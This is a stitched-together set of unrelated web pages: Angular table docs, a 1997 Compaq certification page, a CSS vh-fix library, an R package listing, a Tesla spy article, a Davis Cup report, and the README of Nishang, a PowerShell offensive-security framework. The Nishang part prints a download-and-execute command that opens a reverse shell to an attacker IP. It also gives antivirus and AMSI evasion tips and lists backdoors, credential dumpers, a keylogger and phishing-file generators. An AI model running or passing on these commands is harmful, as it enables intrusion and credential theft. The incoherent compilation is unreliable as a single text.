input property:
If you want to render different form control for a specific column, you need to provide a custom template
with*fdpEditableCellDef
directive.
it is not recommended to use large amount of columns in a table which has small size.
In this case developers can use [fdpTableCellResponsive]
directive with responsive breakpoints
object.
This object should contain key as a minimum width of the breakpoint and value whether or not to show column for this size.
As the Table component supports as input a data source that can return observable, it will automatically show skeleton placeholders while data is being loaded.
Please note, that skeleton placeholders only shown before items are loaded for the first time. Every subsequent loading will be shown with busy indicator.
Platform Table component supports declaring columns with *ngFor
loop.
When new column added, it will automatically appear in the table.
If by default column should be hidden, developers can add [visible]="false"
Input property.
This way column still will be added to the table configuration dialog, but won't be rendered when added.


|
| ||
|
|
Tests required for the Compaq Accredited Systems
Engineer Accreditations are offered at Sylvan Prometric (formerly
known as Drake). Sylvan offers professional computer-based certification
through a network of Authorized Sylvan Testing Centers throughout
the US and Canada.
Preparing for ASE Tests
To assist ASE candidates in passing the tests required
by the ASE Program, Compaq provides the following support: 1. Compaq Training
The highest recommended method of preparing for the
Compaq ASE tests is by attending Compaq training. ASE Training
information can be found in the Compaq Training Information Catalog. Also available are the list of the courses available and the schedule and registration information. 2. Compaq ASE Self-Assessment Guides
Compaq ASE Self-Assessment Guides provide topics and test information to help ASE candidates determine whether they have the requisite knowledge required to successfully pass
the ASE Program tests. ASE candidates should be careful to review
the Self-Assessment Guide specific to the test they are taking
and, if applicable, the matching operating system platform of
choice. These Self-Assessment Guides are also available via fax from
Compaq PaqFax at<PHONE_NUMBER>. See the Compaq Training Information
Catalog to obtain the document number for the appropriate
ASE Self-Assessment Guide. |
| |||||||||||||
|
Revised: 07 April 1997 |


vh
units fix
Mobile (Android and iOS) Chrome has something I consider a bug.
On scroll, when address bar dissapears, inner window height is changed,
and with it vh
units size is changed as well,
making whole page to jump after recalculating the layout.
This also happens when keyboard pops up.
This small library aims to solve that problem.
Jump to usage.Grab it from GitHub.
var vhFix = new VHChromeFix(options)
Options is an array of objects, every containing two attributes - CSS class and height in vh units.
var options = [ { selector: '.Bears', // Mandatory, CSS selector vh: 150, // Mandatory, height in vh units }, { selector: '.Foxes', vh: 50 }, { selector: '.Horses', vh: 100 } ]; var vhFix = new VHChromeFix(options);
This page contains three divs that are using vh units. Header at the top, and two divs below. Scroll and check them out.
This block has a height of 50vh
This block has a height of 150vh


Analysis of crossover interference in experimental crosses, particularly regarding the gamma model.
| Version: | 0.67-4 |
| Depends: | R (≥ 2.10.1), qtl |
| Imports: | stats, utils |
| Suggests: | devtools, roxygen2, testthat |
| Published: | 2018-03-08 |
| Author: | Karl W Broman, with contributions from Il-Youp Kwak |
| Maintainer: | Karl W Broman <kbroman at biostat.wisc.edu> |
| BugReports: | https://github.com/kbroman/xoi/issues |
| License: | GPL-3 |
| URL: | https://github.com/kbroman/xoi |
| NeedsCompilation: | yes |
| Materials: | README |
| CRAN checks: | xoi results |
| Reference manual: | xoi.pdf |
| Package source: | xoi_0.67-4.tar.gz |
| Windows binaries: | r-devel: xoi_0.67-4.zip, r-release: xoi_0.67-4.zip, r-oldrel: xoi_0.67-4.zip |
| OS X binaries: | r-release: xoi_0.67-4.tgz, r-oldrel: xoi_0.67-4.tgz |
| Old sources: | xoi archive |
Please use the canonical form https://CRAN.R-project.org/package=xoi to link to this page.


Tesla Model S Plaid Spied Testing Aggressive Body At The Nurburgring
A big front splitter and steeper spoiler should give this example more downforce.
by Chris BruceThe Tesla Model S Plaid continues its development at the Nürburgring. The one in this spy video appears to have some slight design tweaks in comparison to earlier ones.
Gallery: Tesla Model S Plaid Test Video
In front, this Model S wears a black splitter that juts out from below the fascia. Presumably, it works with the rear diffuser to balance downforce between the two ends.
In this video, it also appears that the clear rear spoiler has a steeper angle of attack than the piece on other pre-production examples. The element's design would make the job easy for the engineers to alter the slant and tweak the aerodynamics.
Judging from this car's shape, Tesla appears to have a high-downforce setting for the Model S here. Since the company can apparently remove or modify the splitter and spoiler, it's possible the company is evaluating the ideal amount of downforce for the Nürburgring's many curves without too much of a detriment on straight-line speed.
The Latest News About The Model S Plaid:
Rumors suggest that the Model S Plaid uses a three-motor powertrain making slightly in excess of 800 horsepower (597 kilowatts) and use a 130-kilowatt-hour battery. Better thermal management could keep the cells running cooler by using a bigger refrigeration system.
It's not yet clear when Tesla intends to send the final version of the Model S Plaid around the Nürburgring and release a lap time for the hotter model. At this stage, there isn't much question about the vehicle lapping the Nordschleife quicker than the Porsche Taycan's 7:42, but there's still the mystery of how low Tesla can take the time.
Presumably, Tesla also intends to sell the Model S Plaid to the public, but we don't know when. Rumors suggest that it could be sometime in October or November of 2020. Although, Elon Musk later tweeted the timeframe could be as soon as next summer.
Source: Carspotter Jeroen via YouTube


https://github.com/samratashok/nishang
Nishang
Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
By nikhil_mitt
Usage
Import all the scripts in the current PowerShell session (PowerShell v3 onwards).
PS C:\nishang> Import-Module .\nishang.psm1
Use the individual scripts with dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
To get help about any script or function, use:
PS C:\nishang> Get-Help [scriptname] -full
Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.
For example, to see the help about Get-WLAN-Keys.ps1, use
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Anti Virus
Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:
Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.
powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Encode the scrript using Invoke-Encode from Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Encoded data written to .\encoded.txt
Encoded command written to .\encodedcommand.txt
From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:
C:\Users\target> powershell -e [encodedscript]
If the scripts still get detected changing the function and parameter names and removing the help content will help.
In case Windows 10's AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Scripts
Nishang currently contains the following scripts and payloads.
ActiveDirectory
Get-Unconstrained
Find computers in active directory which have Kerberos Unconstrained Delegation enabled.
Antak - the Webshell
Antak
Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.
Backdoors
HTTP-Backdoor
A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.
DNS_TXT_Pwnage
A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.
Execute-OnTime
A backdoor which can execute PowerShell scripts at a given time on a target.
Gupt-Backdoor
A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.
Add-ScrnSaveBackdoor
A backdoor which can use Windows screen saver for remote command and script execution.
Invoke-ADSBackdoor
A backdoor which can use alternate data streams and Windows Registry to achieve persistence.
Add-RegBackdoor
A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).
Set-RemoteWMI
Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.
Set-RemotePSRemoting
Modify permissions of PowerShell remoting to allow access to a non-admin user.
Bypass
Invoke-AmsiBypass
Implementation of publicly known methods to bypass/avoid AMSI.
Client
Out-CHM
Create infected CHM files which can execute PowerShell commands and scripts.
Out-Word
Create Word files and infect existing ones to run PowerShell commands and scripts.
Out-Excel
Create Excel files and infect existing ones to run PowerShell commands and scripts.
Out-HTA
Create a HTA file which can be deployed on a web server and used in phishing campaigns.
Out-Java
Create signed JAR files which can be used with applets for script and command execution.
Out-Shortcut
Create shortcut files capable of executing PowerShell commands and scripts.
Out-WebQuery
Create IQY files for phishing credentials and SMB hashes.
Out-JS
Create JS files capable of executing PowerShell commands and scripts.
Out-SCT
Create SCT files capable of executing PowerShell commands and scripts.
Out-SCF
Create a SCF file which can be used for capturing NTLM hash challenges.
Escalation
Enable-DuplicateToken
When SYSTEM privileges are required.
Remove-Update
Introduce vulnerabilities by removing patches.
Invoke-PsUACme
Bypass UAC.
Execution
Download-Execute-PS
Download and execute a PowerShell script in memory.
Download_Execute
Download an executable in text format, convert it to an executable, and execute.
Execute-Command-MSSQL
Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.
Execute-DNSTXT-Code
Execute shellcode in memory using DNS TXT queries.
Out-RundllCommand
Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.
Gather
Check-VM
Check for a virtual machine.
Copy-VSS
Copy the SAM file using Volume Shadow Copy Service.
Invoke-CredentialsPhish
Trick a user into giving credentials in plain text.
FireBuster FireListener
A pair of scripts for egress testing
Get-Information
Get juicy information from a target.
Get-LSASecret
Get LSA Secret from a target.
Get-PassHashes
Get password hashes from a target.
Get-WLAN-Keys
Get WLAN keys in plain text from a target.
Keylogger
Log keystrokes from a target.
Invoke-MimikatzWdigestDowngrade
Dump user passwords in plain on Windows 8.1 and Server 2012
Get-PassHints
Get password hints of Windows users from a target.
Show-TargetScreen
Connect back and Stream target screen using MJPEG.
Invoke-Mimikatz
Load mimikatz in memory. Updated and with some customisation.
Invoke-Mimikittenz
Extract juicy information from target process (like browsers) memory using regex.
Invoke-SSIDExfil
Exfiltrate information like user credentials, using WLAN SSID.
Invoke-SessionGopher
Identify admin jump-boxes and/or computers used to access Unix machines.
MITM
Invoke-Interceptor
A local HTTPS proxy for MITM attacks.
Pivot
Create-MultipleSessions
Check credentials on multiple computers and create PSSessions.
Run-EXEonRemote Copy and execute an executable on multiple machines.
Invoke-NetworkRelay Create network relays between computers.
Prasadhak
Prasadhak
Check running hashes of running process against the VirusTotal database.
Scan
Brute-Force
Brute force FTP, Active Directory, MSSQL, and Sharepoint.
Port-Scan
A handy port scanner.
Powerpreter
Powerpreter
All the functionality of nishang in a single script module.
Shells
Invoke-PsGcat
Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent
Invoke-PsGcatAgent
Execute commands and scripts sent by Invoke-PsGcat.
Invoke-PowerShellTcp
An interactive PowerShell reverse connect or bind shell
Invoke-PowerShellTcpOneLine
Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.
Invoke-PowerShellTcpOneLineBind
Bind version of Invoke-PowerShellTcpOneLine.
Invoke-PowerShellUdp
An interactive PowerShell reverse connect or bind shell over UDP
Invoke-PowerShellUdpOneLine
Stripped down version of Invoke-PowerShellUdp.
Invoke-PoshRatHttps
Reverse interactive PowerShell over HTTPS.
Invoke-PoshRatHttp
Reverse interactive PowerShell over HTTP.
Remove-PoshRat
Clean the system after using Invoke-PoshRatHttps
Invoke-PowerShellWmi
Interactive PowerShell using WMI.
Invoke-PowerShellIcmp
An interactive PowerShell reverse shell over ICMP.
Invoke-JSRatRundll
An interactive PowerShell reverse shell over HTTP using rundll32.exe.
Invoke-JSRatRegsvr
An interactive PowerShell reverse shell over HTTP using regsvr32.exe.
Utility
Add-Exfiltration
Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.
Add-Persistence
Add reboot persistence capability to a script.
Remove-Persistence
Remote persistence added by the Add-Persistence script.
Do-Exfiltration
Pipe (|) this to any script to exfiltrate the output.
Download
Transfer a file to the target.
Parse_Keys
Parse keys logged by the keylogger.
Invoke-Encode
Encode and compress a script or string.
Invoke-Decode
Decode and decompress a script or string from Invoke-Encode.
Start-CaptureServer
Run a web server which logs Basic authentication and SMB hashes.
ConvertTo-ROT13
Encode a string to ROT13 or decode a ROT13 string.
Out-DnsTxt
Generate DNS TXT records which could be used with other scripts.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Updates
Updates about Nishang can be found at my blog http://labofapenetrationtester.com and my Twitter feed @nikhil_mitt.
Bugs, Feedback and Feature Requests
Please raise an issue if you encounter a bug or have a feature request. You can email me at nikhil [dot] uitrgpv at gmail.com
Mailing List
For feedback, discussions, and feature requests, join: http://groups.google.com/group/nishang-users
Contributing
I am always looking for contributors to Nishang. Please submit requests or drop me an email.
Blog Posts
Some helpful blog posts to check out for beginners:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
All posts about Nishang:
http://www.labofapenetrationtester.com/search/label/Nishang


Novak Djokovic helps Serbia knock Japan out of Davis Cup
MADRID – Japan bowed out of the Davis Cup Finals on Wednesday, going down to Serbia a day after opening its Group A campaign with a loss to France.
Filip Krajinovic beat Yuichi Sugita 6-2, 6-4 in the opening singles rubber at Madrid’s La Caja Magica before world No. 2 Novak Djokovic dispatched Yoshihito Nishioka 6-1, 6-2.
Nishioka on Tuesday beat France’s Gael Monfils 7-5, 6-2 to level the tie at 1-1 following Yasutaka Uchiyama’s 6-2, 6-1 loss to Jo-Wilfriend Tsonga. But the French pair of Pierre-Hugues Herbert and Nicolas Mahut overcame Japan’s Ben McLachlan and Uchiyama 6-7, 6-4, 7-5 in the doubles rubber to claim a 2-1 victory.
The Nov. 18-24 Davis Cup Finals are being held for the first time as a season-ending event with 18 teams competing in six round-robin groups.
The six group winners will advance to the quarterfinals, along with the two runners-up with the best scores.
In other matches Andy Murray defeated Tallon Griekspoor 6-7 (7-9), 6-4, 7-6 (7-5) on after trailing 4-1 in the third set and 4-1 in the decisive tiebreaker, giving his team a 1-0 lead in the Group E series.
“I’ve found a way to win matches many times in my career when I’ve not been playing well,” Murray said. “You can draw on that a little bit. I came up with some really good defensive shots at the end of the tiebreak and found a way to win.”
The United States failed to advance despite beating Italy 2-1 after a doubles match that ended past 4 a.m. local time in Madrid, the second latest finish in tennis history.
Sam Querrey and Jack Sock defeated Simone Bolelli and Fabio Fognini 7-6 (7-4), 6-7 (2-7), 6-4, but it wasn’t enough to send the Americans to the quarterfinals as one of the two-best second-place finishers. Only Lleyton Hewitt’s victory over Marcos Baghdatis at the 2008 Australian Open finished later, past 4:30 a.m. local time.
Murray had not played in the Davis Cup since 2016, when Britain lost to Argentina in the semifinals. In October, the three-time Grand Slam champion won his first title since undergoing hip surgery in January.
“I wasn’t feeling in the best shape coming in, and it showed a little bit in the match,” Murray said. “It is about finding a way to win, and I did that today. And I’m proud of myself because it would have been easy to have lost that.”
GET THE BEST OF THE JAPAN TIMES IN FIVE EASY PIECES WITH TAKE 5
JOIN THE CONVERSATION